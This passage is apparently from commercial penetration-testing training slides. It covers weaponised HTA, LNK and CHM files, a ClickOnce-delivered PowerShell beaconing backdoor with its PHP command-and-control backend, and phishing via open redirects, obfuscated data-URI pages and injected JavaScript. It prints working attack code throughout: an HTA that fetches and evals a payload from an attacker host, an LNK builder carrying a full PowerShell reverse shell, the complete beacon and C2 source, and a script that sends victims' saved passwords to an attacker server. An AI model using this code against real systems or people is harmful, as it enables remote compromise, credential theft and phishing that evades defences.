https://github.com/samratashok/nishang PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.137
https://github.com/Hood3dRob1n/JSRat-Py
1.3.3 Uncommon extensions

CHM Files + Custom JS Backdoor


To further enhance our exploitation capabilities after the target is
compromised, we should upgrade our reverse shell to a shell that
offers more in terms of both functionality and reliability.

Let’s see how we can customize JSRat-Py project, so that we can


perform a multi-stage attack. We will actually modify JSRat-Py
(our custom JavaScript backdoor’s backend), so that on the
initial target compromise, it will act as a staging point for a
meterpreter or a PowerShell Empire shell.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.138
1.3.3 Uncommon extensions

CHM Files + Custom JS Backdoor


The changes are:
• Added a -c option that automatically executes a command
on initial target compromise
• Removed the dependency to read the commands to be
executed from the standard input
• Hardcoded the Metasploit or PowerShell Empire one liners
to be executed (you will have to hardcode your own one
liners.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.139
1.3.3 Uncommon extensions

CHM Files + Custom JS Backdoor


For the full source code please refer to the following link.

https://gist.github.com/anonymous/ce4e2c4c83d9007393
95c695cc1ec55e

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.140


1.3.3 Uncommon extensions
CHM Files + Custom JS Backdoor
Notes:
1. To get started with the source code above, simply
download JSRat-Py project and replace JSRat.py with
the given source code.

2. Of course you can hardcode any one liner you want to


be executed. We chose Metasploit or PowerShell
Empire ones, due to their offered functionality and
reliability.
https://github.com/Hood3dRob1n/JSRat-Py PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.141
1.3.3 Uncommon extensions

HTML Application (HTA) files


As Microsoft documents, HTAs are full-fledged
applications. These applications are trusted and pack all
the power of Internet Explorer.

*To return to slide 60, click HERE. PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.142
1.3.3 Uncommon extensions

HTA Files
Its object model, performance, rendering power and
protocol support, without enforcing the strict security
model and user interface of the browser.

From their definition you can understand that HTA files are
an ally in evading defenses. We will use HTA files
extensively in later modules to bypass numerous defense
mechanisms.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.143
1.3.3 Uncommon extensions

HTA Files
For the time being let’s see how we can weaponize an HTA
file using the custom JavaScript backdoor we used
previously.

We could easily weaponize an HTA file using PowerShell


but it is better to have an arsenal containing various attack
techniques, especially if you consider the fact that
PowerShell is closely being monitored nowadays.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.144
1.3.3 Uncommon extensions

Weaponizing HTA Files


For completeness’ sake two great tools to create
weaponized HTA files, besides PowerShell Empire,
Metasploit and SET are Unicorn and demiguise.

https://github.com/trustedsec/unicorn PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.145


https://github.com/nccgroup/demiguise
1.3.3 Uncommon extensions

Weaponizing HTA Files


In the next few slides, you can see a weaponized HTA
containing our custom JavaScript backdoor.

You can find the source code in the link below.


• https://gist.github.com/anonymous/ed8801afafae5b475
5b00a11c63c244e

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.146


1.3.3 Uncommon extensions

Weaponizing HTA Files


It should be noted that you can apply JavaScript
obfuscation techniques on the above source code.

For example you could use:


http://javascriptobfuscator.com

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.147


1.3.3 Uncommon extensions

Weaponizing HTA Files


Instantiate a WinHttpRequest Object.

Initialize an HTTP request.


<script language="javascript" type="text/javascript">
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://attacker.domain/connect",false); Send the HTTP request.
h.Send();
B=h.ResponseText;
eval(B); Evaluate the payload.
window.close();
</script>
Weaponized HTA file containing a custom
JavaScript backdoor.

The backend is based on a custom version


of JSRat-Py project.

https://github.com/Hood3dRob1n/JSRat-Py PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.148


1.3.3 Uncommon extensions

Shortcut (LNK) files


According to Microsoft’s documentation on [MS-SHLLINK]:
Shell Link (.LNK) Binary File Format, in this format a
structure is called a shell link, or shortcut, and is a data
object that contains information that can be used to access
another data object.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.149


1.3.3 Uncommon extensions

LNK Files
The Shell Link Binary File Format is the format of Windows
files with the extension "LNK".

Shell links are commonly used to support application


launching and linking scenarios, such as Object Linking and
Embedding (OLE), but they also can be used by applications
that need the ability to store a reference to a target file.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.150
1.3.3 Uncommon extensions

LNK Files
Consequently, we can craft LNK files that reference useful
target files such as cmd.exe or PowerShell.

It should be noted that there is a restriction for 260 symbols


in summary for LNK files when standard Windows
properties form is used.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.151


1.3.3 Uncommon extensions

LNK Files
To bypass this restriction you can use the following
PowerShell script to create an LNK file with no restrictions
regarding the arguments’ string length.

You can find the source code on the following link.


• https://gist.github.com/anonymous/6fdb40bc8279671f7
492f8d6625e9454
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.152
1.3.3 Uncommon extensions

LNK Files
The LNK file created with the above script establishes a
reverse TCP shell, when executed.

A relatively stealthy social engineering attack would be


sending a crafted LNK file embedded as an OLE object in a
Word Document.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.153


1.3.3 Uncommon extensions

LNK Files

$WshShell = New-Object -comObject WScript.Shell


$Shortcut = $WshShell.CreateShortcut("c:\lnk_tests\payload.lnk")
$Shortcut.TargetPath =
"%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21" PowerShell script for LNK file
$Shortcut.Arguments = '-windowstyle hidden /c $sm=(New-Object creation without argument’s length
Net.Sockets.TCPClient("attacker
IP",55555)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt
restrictions. Specifically, this script
.Length)) -ne 0){;$d=(New-Object will create an unrestricted LNK file
Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetByte
s((iex $d 2>&1));$sm.Write($st,0,$st.Length)} '
containing a reverse TCP payload.
$Shortcut.Save()

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.154


1.3.3 Uncommon extensions

Web Query (IQY) files


Web Query (IQY) files are associated with Microsoft Excel.

Web queries allow you to query data from a specific World


Wide Web, Internet, or intranet site and retrieve the
information directly into a Microsoft Excel worksheet

https://www.vertex42.com/News/excel-web-query.html PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.155


1.3.3 Uncommon extensions

IQY files
We can leverage Web Query (IQY) files’ functionality for
credential or NTLM hash harvesting. The procedure is well
documented on the following link.
• http://www.labofapenetrationtester.com/2015/08/abusing-
web-query-iqy-files.html

A great alternative offering similar functionality is the following:


• https://github.com/ryhanson/phishery
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.156
1.3.3 Uncommon extensions

MSG files
MSG file is a file format for storing Microsoft Outlook and
Exchange message files.

There have been attacks that leveraged this extension


combined with embedded OLE objects to bypass corporate
email defenses.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.157


1.3.3 Uncommon extensions

MSG files
For details on how MSG files can be combined with embedded
OLE objects to bypass corporate email defenses please refer to
the following links.
1. https://medium.com/@networksecurity/oleoutlook-bypass-almost-
every-corporate-security-control-with-a-point-n-click-gui-
37f4cbc107d0

2. https://www.trustwave.com/Resources/SpiderLabs-Blog/Down-
the-Rabbit-Hole--Extracting-Maliciousness-from-MSG-Files-Without-
Outlook/
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.158
1.3.3 Uncommon extensions

Rich Text Format (RTF) files


The Rich Text Format (often abbreviated RTF) is a
proprietary document file format with published
specification developed by Microsoft Corporation from
1987 until 2008 for cross-platform document interchange
with Microsoft products.

It is a format that is still handled by Microsoft Word.


*To return to slide 70, click HERE. PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.159
1.3.3 Uncommon extensions
RTF files
Rich Text Format (RTF) files display a very interesting behavior when
they contain OLE objects. The embedded OLE object is automatically
dropped into the temporary folder when the RTF file is opened.

You can therefore leverage this behavior to stealthily (without retrieving


it from a remote location) drop and execute a malicious file into the
target’s temporary folder. This behavior has been analyzed in the
following links.
• https://web.archive.org/web/20170227205919/https://securingtom
orrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-
security-concerns/
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.160
1.3.4 Custom ClickOnce applications

Custom ClickOnce application development


ClickOnce is a deployment technology that enables
administrators to create self-updating Windows-based
applications that can be installed and run with minimal user
interaction, through Internet Explorer.

https://msdn.microsoft.com/en-us/library/t71a733d.aspx PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.161


1.3.4 Custom ClickOnce applications

By default, ClickOnce packages that come from My


Computer, Local Intranet, IE Trusted Sites, and the Internet,
allow a user to grant the application temporary admin
privileges in order to install.

This is a feature: "But the most important new feature when


it comes to security is … the end user can elevate
permissions without the help of an administrator" – MSDN.
https://web.archive.org/web/20150109032738/http://msdn.microsoft.com PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.162
/en-us/library/aa719097(v=vs.71).aspx
1.3.4 Custom ClickOnce applications

In addition, ClickOnce applications are great for bypassing


application whitelisting since they run as dfsvc.exe, or can
be invoked with dfshim.dll.

ClickOnce is an attractive technology to use in advanced


social engineering engagements. Before we dive into
ClickOnce application development, to avoid getting caught
by signature-based defense mechanisms, let’s create our
own PowerShell based beaconing malware.
*To return to slide 80, click HERE. PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.163
1.3.4 Custom ClickOnce applications
Custom beaconing malware
The PowerShell based beaconing malware we are going to
create, is a custom version of the following IE backdoor,
designed to work on Windows 10 environments.
• https://khr0x40sh.wordpress.com/2014/08/22/powershell-ie-
backdoor/

This beaconing malware will prove handy on restricted


environments where specific applications are allowed to make
outbound connections on specific ports. In addition, since our
beaconing malware misuses IE functionality, it is also proxy-
aware.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.164
1.3.4 Custom ClickOnce applications

Custom beaconing malware


The main parts of our beaconing malware are the following.
1. An IE COM-Object
2. A header and POST data part
3. IE’s Navigate2 function
4. Some C&C parsing functionality
5. An execution part, executing part of the parsed data from the C&C
6. The C&C backend

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.165


1.3.4 Custom ClickOnce applications

Custom beaconing malware


You can find the full source code on the links below.
• beacon.ps1:
https://gist.github.com/anonymous/286688913bffa163f3c761cb12
3e3627

• c2.php:
https://gist.github.com/anonymous/e547d692d956396b6d37fdb74
c7a6417

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.166


1.3.4 Custom ClickOnce applications
Custom beaconing malware
function executeCMD{
Param(
$cmd_str = “dir" Leveraging PowerShell and the IE COM-Object to launch an IE application.
);
$out = ""

$ps = new-object System.Diagnostics.Process


$ps.StartInfo.Filename = "cmd"
$ps.StartInfo.Arguments = "/C " + $cmd_str
$ps.StartInfo.RedirectStandardOutput = $True
Handling the post data and the header framework.
$ps.StartInfo.UseShellExecute = $false
$ps.start()
$ps.WaitForExit()
[string] $Out = $ps.StandardOutput.ReadToEnd();

$out.ToString()
}
The navigate2 method is utilized to manipulate the IE application’s
function callIE{
$ie = New-Object -COM internetexplorer.application
requests.
$ie.visible = $debug
$data = ""
while ($true)
{
$input = "data="+$data+"\r\n"
$enc = New-Object System.Text.ASCIIEncoding Parsing the returned page, from where the commands to be executed
$pData = $enc.GetBytes($input)
$brFlgs = 14 #// no history, no read cache, no write cache
$header = "Content-Type: application/x-www-form-urlencoded"
will be extracted.
$ie.navigate2($c2, $brFlags, 0, $pData, $header)

while ($ie.Busy)
{
Sleep 3 System.Diagnostics.Process .NET library is utilized to handle command
}
$ieHTML = $ie.Document.url
$tags = $ie.Document.IHTMLDocument3_getElementsByTagName("pre")
passing and execution.
foreach ($tag in $tags)
{

if ($tag.innerText.Contains("3nc0d3"))
{
$cmdArr = $tag.innerText -split "3nc0d3"
Client (Beaconing malware)
$data = executeCMD $cmdArr[1]
break
}
}
Sleep $callback
}
}
$ret = callIE

https://msdn.microsoft.com/en-us/library/aa752094(v=vs.85).aspx PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.167


1.3.4 Custom ClickOnce applications
Custom beaconing malware
<?php
$myfile = fopen("cmd.txt", "r") or die("unable to open file!"); Reading the command to be executed from
$cmd = fread($myfile, filesize("cmd.txt")); cmd.txt file.
fclose($myfile);

//get DATA from POST


$data = $_POST['data'];
//write to file Hiding the read command in a hidden pre tag.
$datafile = fopen("data.txt", "a") or die("unable to open file!");
fwrite($datafile, $data);
fclose($datafile);

echo "<html><head><title>404 Not Found</title></head><body>"; Fetching the data that the beaconing malware
echo "<h1>Not Found</h1>The requested URL /c2.php was not found on this server."; posts and saving them to data.txt.
echo "<hr/>";

echo "<i>Apache/2.4.25 (NetWare) Server at localhost Port 80 </i>";


C2 Backend
echo "<br/><pre style='visibility:hidden;'>";
echo "s3cr3t" . $cmd;
echo "</pre>";
echo "</body></html>";
?>

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.168


1.3.4 Custom ClickOnce applications

Custom beaconing malware


Now, it’s time to serve our beaconing malware using a custom
ClickOnce application. Visual Studio makes this task simple by
including the ability to publish ClickOnce applications.

For a detailed guide on how to publish ClickOnce applications


using Visual Studio please refer to the following link.
• https://www.slideshare.net/NetSPI/all-you-need-is-one-a-click-
once-love-story-secure360-2015
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.169
1.3.4 Custom ClickOnce applications
Custom beaconing malware
The easiest way to get ClickOnce to execute a payload of your
choosing is to create a new console application using Visual
Studio. Using some simple C# code, you can launch a process to
execute an included payload (our created beaconing malware
compiled as an executable – beacon.exe).

You can find the C# code on the following link:


• https://gist.github.com/anonymous/41a0cc1f3f5434e12a018
f2b2e71bd81
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.170
1.3.4 Custom ClickOnce applications

When using a ClickOnce application as a delivery method,


both the installer package/console application will always
be downloaded to and executed, from a temporary
directory.

This includes the malicious binary we want to deploy.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.171


1.3.4 Custom ClickOnce applications

Minimizing on-disk footprint


During engagements we want to minimize the on-disk
footprint, so let’s create another ClickOnce application that
will start our malicious payload without dropping anything
additional to disk.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.172


1.3.4 Custom ClickOnce applications

Minimizing on-disk footprint


For this we will utilize two established offensive
components SharpPick from PowerPick project and Invoke-
Shellcode from the PowerSploit project.

Credit goes to Justin Warner for coming out with the idea of
combining the abovementioned techniques.

https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick
https://github.com/PowerShellMafia/PowerSploit PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.173
http://www.sixdub.net/
1.3.4 Custom ClickOnce applications

Minimizing on-disk footprint


SharpPick is a capability that implements PowerShell
Runspaces in .NET projects via the
System.Management.Automation assembly.

In the case where we want ClickOnce application payload


delivery without an additional executable, PowerPick could
be used.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.174
1.3.4 Custom ClickOnce applications

Minimizing on-disk footprint


SharpPick can be leveraged so that we are able to run
PowerShell scripts from inside the ClickOnce executable,
without having to start additional processes.

To increase A/V resistance, we could also perform


encoding/encrypting of the used PowerShell script in our
custom application.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.175
1.3.4 Custom ClickOnce applications

Minimizing on-disk footprint


Our C# console application will implement ShapPick’s
RunPS function and then it will perform a RunPS with a
base64 encoded version of Invoke-Shellcode.

A hidden notepad will be spawned by Invoke-Shellcode,


where the meterpreter stager will be injected. Do not forget
referencing System.Management.Automation.dll in your
Visual Studio solution.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.176
1.3.4 Custom ClickOnce applications

Minimizing on-disk footprint


You can find the full source code in the following links.
• ConsoleApplication2:
https://gist.github.com/anonymous/759516440b9beaaf
3e5a9b9f91531251

• Invoke-Shellcode.ps1:
https://gist.github.com/anonymous/d120e314fa97f9d49
3e8dcf784014961
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.177
1.4

Phishing
Techniques

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.178


1.4 Phishing techniques

In this chapter we will showcase the most effective techniques


being used on all phases of a phishing campaign.

Specifically the following subjects will be covered:


• Leveraging CSRF and Open Redirects
• Creating trustworthy-looking redirect forms
• URL spoofing techniques
• BeEF use cases
• Mimicking DYRE banking trojan’s spread method
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.179
1.4.1 Leveraging CSRF and Open Redirects

One of the constant goals in phishing campaigns is to


make our phishing attempt look like a legitimate request
coming from a trusted party.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.180


1.4.1 Leveraging CSRF and Open Redirects

Leveraging CSRF
For this we can leverage common web application vulnerabilities
such as CSRF and open/not validated redirects.

One case study that proves the above is LostPass: Pixel-perfect


LastPass phishing. This phishing attempt used a very common
web application vulnerability as its starting point, to convince
LastPass users into providing their credentials. This common
vulnerability was a CSRF at the logout function.
https://www.seancassidy.me/lostpass.html PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.181
1.4.1 Leveraging CSRF and Open Redirects

Leveraging Open Redirects


Let’s locate an open redirect on a widely used web site to misuse
it in our phishing campaigns. It was recently discovered that
there is an open redirect “feature”/vulnerability in Google.

To leverage this we will have to perform the steps below.


1. Create an _ah directory on our domain and inside it another
directory called conflogin

2. Place our phishing page inside the conflogin directory in


index.html or index.php file
https://vagmour.eu/google-open-url-redirection/ PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.182
1.4.1 Leveraging CSRF and Open Redirects

Leveraging Open Redirects


3. Send the following link to our target
https://accounts.google.com/ServiceLogin?continue=ht
tps%3A%2F%2Fappengine.google.com%2F_ah%2Fconfl
ogin%3Fcontinue%3Dhttps%3A%2F%2Fattacker.domain
%2F&service=ah

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.183


1.4.1 Leveraging CSRF and Open Redirects

Leveraging Open Redirects


When our target opens the link above he/she will be prompted by
Google for his Google account credentials. There is nothing
suspicious there, it is just the legitimate
https://accounts.google.com page requesting credentials.

Once the target submits his credentials he/she will be redirected


to our phishing page. There we can perform numerous social
engineering attacks from credential harvesting to serving a
malicious HTA file or hooking the target’s browser using BeEF.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.184
1.4.2 Creating trustworthy-looking redirect
forms

Corporate employees and users in general are getting more


and more suspicious when they receive an email. One of
the most common things taught on social engineering
awareness trainings is that one should always hover his
mouse over a link or submit button.

This way one can make sure that the link is pointing to the
correct or to a trusted location.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.185
1.4.2 Creating trustworthy-looking redirect
forms
Let’s create a custom JavaScript code, with Man-In-The-
Middle capabilities, that when inserted into an HTML form,
can convince an individual that his request will actually go
to the correct or to a trusted location.

The key phrase here is Man-In-The-Middle. Our custom


JavaScript will display the correct or a trusted location,
when the user hovers his mouse over our link or submit
button, but will also send the supplied personal information
to a remote server under our control.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.186
1.4.2 Creating trustworthy-looking redirect
forms
Targeting PayPal example
If were wanted to go after PayPal users, we would like our
custom JavaScript code to do the following.
1. Run as soon as the HTML form is loaded

2. Intercept all requests made to PayPal

3. Route all requests to a remote server under our control, while his
browser still tries to communicate with the original PayPal
webpage.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.187
1.4.2 Creating trustworthy-looking redirect
forms
Targeting PayPal example
To understand how can this be achieved programmatically study the
following.
• capture_redirect.js:
https://gist.github.com/anonymous/3bf8342c76eba4da3f660cbffa24f5
d8

• PayPal phishing HTML form:


https://gist.github.com/anonymous/75b5eb6578bbc5bfcabe44e8fbb95
2ea

• jquery.ba-hashchange.min.js:
https://gist.github.com/anonymous/950a70cdebd3e78b6e88312fa7d9
3250
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.188
1.4.3 URL spoofing techniques

We will start discussing URL spoofing techniques with a


word of advice: There is nothing better in phishing
campaigns than a carefully selected and legitimate-looking
phishing domain.

Of course taking into consideration the phishing page best


practices that we covered and phishing page components
that are usually being analyzed.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.189
1.4.3 URL spoofing techniques

There are numerous URL spoofing techniques which


although effective, may result in the URL looking suspicious
or getting caught by an email defense mechanism.

For completeness’ sake we will cover the most effective


URL spoofing techniques being used by APT groups.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.190


1.4.3 URL spoofing techniques

Data URIs
A common technique for URL spoofing is abusing the data
URI scheme.

The Data URI scheme is capable of presenting media


content in a web browser without hosting the actual data
on the internet.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.191


1.4.3 URL spoofing techniques

Data URIs
Data URIs follow this scheme:
data:[<mediatype>][;base64],<data>

Here, <mediatype> are one of the MIME media types


described in RFC 2046. The MIME media types were
originally intended for use with emailing, but are also used
to describe all content on the Internet as well.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.192
1.4.3 URL spoofing techniques

Data URIs
This means that we can represent any content type (e.g.
image/jpeg, text/html, etc.) from the specification that is
supported by the web browser. Base64 encoding is
optional.

Using it ensures that any representation of data can be


correctly transferred over the internet, by using a
manageable alphabet to represent the data rather than raw
bytes.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.193
1.4.3 URL spoofing techniques

Data URIs
The whole procedure of spoofing a URL, abusing the data
URI in a phishing attack, usually starts with a landing page
similar to the one below.

You can find the source code in the following link.


• https://gist.github.com/anonymous/907cc8e9dcc43c6a
4412e682e5d5c2cd
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.194
1.4.3 URL spoofing techniques

Data URIs
Notice the amount of space characters so that only the
data:text/html,https://accounts.google.com part is visible by
the target. The data:text/html part could also be used in the
following manner data:text/html;base64,[base64 encoded
HTML source].
<meta http-equiv="Refresh" content="0;
url=data:text/html,https://accounts.google.com
<iframe src='http://attacker.domain' style=' position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%;
height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;'> Your browser doesn't support iframes
</iframe>">

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.195


1.4.3 URL spoofing techniques

As an exercise, let’s take our phishing page’s source code


and apply three layers of obfuscation in it in order make the
analysts’ work harder.

<html><iframe src="http://attacker.domain" style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%;


height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"></iframe></html>

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.196


1.4.3 URL spoofing techniques

Data URIs - Obfuscation


For the first layer we will use an automated HTML
encrypter. The result will be similar to the following.

http://www.webtoolhub.com/tn561359-html-encrypter.aspx PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.197


1.4.3 URL spoofing techniques

Data URIs - Obfuscation


For the second layer we will use an automated JavaScript
obfuscator. The result will be similar to the following.

http://javascriptobfuscator.com/ PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.198


1.4.3 URL spoofing techniques

Data URIs - Obfuscation


For the third layer we will apply custom JavaScript based
AES encryption.

https://gist.github.com/ianpurton/1122562 PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.199


1.4.3 URL spoofing techniques

Data URIs - Obfuscation


To encrypt our source code from the previous step we will
use the following:
• aes_js_encrypt.html:
https://gist.github.com/anonymous/315be2adc7260300
5d7c7b176c163ed7

This will pop an alert with the AES encrypted source code
of our phishing page.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.200
1.4.3 URL spoofing techniques

Data URIs - Obfuscation


Finally, place the AES encrypted source inside the
to_aes_decrypt variable of the following HTML file. This
HTML source code is the one you will send to your target.

aes_js_decrypt.html:
• https://gist.github.com/anonymous/e749f1b8fcbdb08b9
d709eb1df8b9575
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.201
1.4.3 URL spoofing techniques

Data URIs - Obfuscation


Now, our phishing page’s HTML source code features 3
layers of obfuscation.

A similar technique was used on a APT-like phishing


campaign against Apple’s users.

https://www.fireeye.com/blog/threat-research/2016/06/rotten_apples_apple.html PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.202


1.4.3 URL spoofing techniques

Below you will find a list of other URL obfuscating


techniques.
• Dotless IP addresses and URL Obfuscation
• Out of Character: Use of Punycode and Homoglyph Attacks to
Obfuscate URLs for Phishing
• How to Obscure Any URL
• Bypassing the patch to continue spoofing the address bar and the
Malware Warning (IE)
• Unicode Domains are bad
• Phishing with Unicode Domains
Go to Slide 372 and 373 to check out the full reference links. PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.203
1.4.4 BeEF use cases

BeEF, the browser exploitation framework project is the go


to tool for phishing engagements. We will discuss two
attack scenarios using BeEF that require some custom
scripting.

Both scenarios begin with an XSS and a CSRF vulnerability


we detected on a WordPress plugin, that we identified as
installed on the targeted website. Both attacks will be
performed against the WordPress site’s administrator.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.204
1.4.4 BeEF use cases

1. XSS + SAMEORIGIN + Autocomplete = Admin


credentials

In the first scenario we will chain the abovementioned XSS


and CSRF vulnerabilities with an insecure X-Frame-Options
header on the WordPress login page and the enabled
Autocomplete functionality, to steal admin credentials.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.205


1.4.4 BeEF use cases

2. XSS -> CSRF bypass -> Admin level access

In the second scenario we will leverage the


abovementioned XSS and CSRF vulnerabilities to bypass
the WordPress site’s core CSRF protection and inject
custom JavaScript code that will add us as a new
administrator.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.206


1.4.4 BeEF use cases

Our reconnaissance activities indicated that the targeted


WordPress site, has Contact Form Manager plugin
installed. Static code analysis indicated the following.

The first vulnerability that enables us to further exploit the


plugin, is a CSRF vulnerability, because the plugin lacks an
anti-CSRF token.

https://github.com/wp-plugins/contact-form-manager/archive/1.4.1.zip PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.207


1.4.4 BeEF use cases

Also improper filtering/output encoding is done on $_POST


parameters. These issues are present in the filed contact-
form-manager/admin/add_smtp.php and contact-form-
manager/admin/form-edit.php.

The username input field on the XYZ Contact > SMTP


Settings is vulnerable for Cross-Site Scripting, as well as the
Contact Form Name input field on the XYZ Contact >
Contact Form page.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.208
1.4.4 BeEF use cases

• SMTP Settings URL:


http://<target>/wp-admin/admin.php?page=contact-form-
manager-manage-smtp

• Contact Forms URL:


http://<target>/wp-admin/admin.php?page=contact-form-
manager-managecontactformsp

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.209


1.4.4 BeEF use cases

The proof of concept exploit as well as more details on the


plugin’s vulnerabilities can be found in the following link.

https://sumofpwn.nl/advisory/2016/cross_site_request_for
gery___cross_site_scripting_in_contact_form_manager_wor
dpress_plugin.html

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.210


1.4.4 BeEF use cases

Scenario 1: XSS + SAMEORIGIN + Autocomplete = Admin


credentials

We can easily identify that the WordPress site’s login page


uses an insufficiently secure X-Frame-Options header
(SAMEORIGIN).

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.211


1.4.4 BeEF use cases

BeEF use cases : Scenario 1


This means that leveraging the XSS vulnerability we can
create an invisible iframe containing the WordPress site’s
login page, inside the vulnerable to XSS page.

If by any chance the site’s login page has Autocomplete


enabled on the login form then we will be able to capture
administrator credentials, by injecting custom JavaScript
code.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.212
1.4.4 BeEF use cases

BeEF use cases : Scenario 1


Let’s create an invisible iframe by injecting the following
JavaScript.

var iframe = document.createElement('iframe');


iframe.style.display = "none";
iframe.src = "http://target.domain/wp-login.php";
Document.body.appendChild(iframe);

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.213


1.4.4 BeEF use cases
BeEF use cases : Scenario 1
Now that the site’s login page is loaded in an iframe, inside the
vulnerable to XSS web page, we can inject the following
JavaScript code to steal the administrator’s credentials from the
loaded iframe, using BeEF’s “inject raw JavaScript” functionality.

The attack will be successful if and only if the login form of the
login page has Autocomplete enabled. You can find the source
code in the following link.
• https://gist.github.com/anonymous/1b369a11090f1991d883
56578fc58b61
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.214
1.4.4 BeEF use cases

BeEF use cases : Scenario 1


For every iframe in the web page (parent and
possible iframes).

Parsing all HTML elements.


javascript: var p=r(); function r(){var g=0;var x=false;var
x=z(document.forms);g=g+1;var w=window.frames;for(var
k=0;k<w.length;k++) {var x = ((x) ||
If the string “password” is identified in the
(z(w[k].document.forms)));g=g+1;}if (!x) alert('Password not found
in ' + g + ' forms');}function z(f){var b=false;for(var parsed data.
i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++)
{if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if
(ej.type=='password'){s=ej.value;if Sending the element’s value (victim’s
(s!=''){location.href='http://attacker.domain/index.php?pass='+s;}el password) to an attacker controller server, via
se{alert(‘No Autocomplete?')}return true;}} an HTTP GET request.

Injected JavaScript to scan for autocompleted


credentials.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.215


1.4.4 BeEF use cases

Scenario 2: XSS -> CSRF bypass -> Admin level access

It would be great if we could add ourselves as


administrators on the targeted website. It should be noted
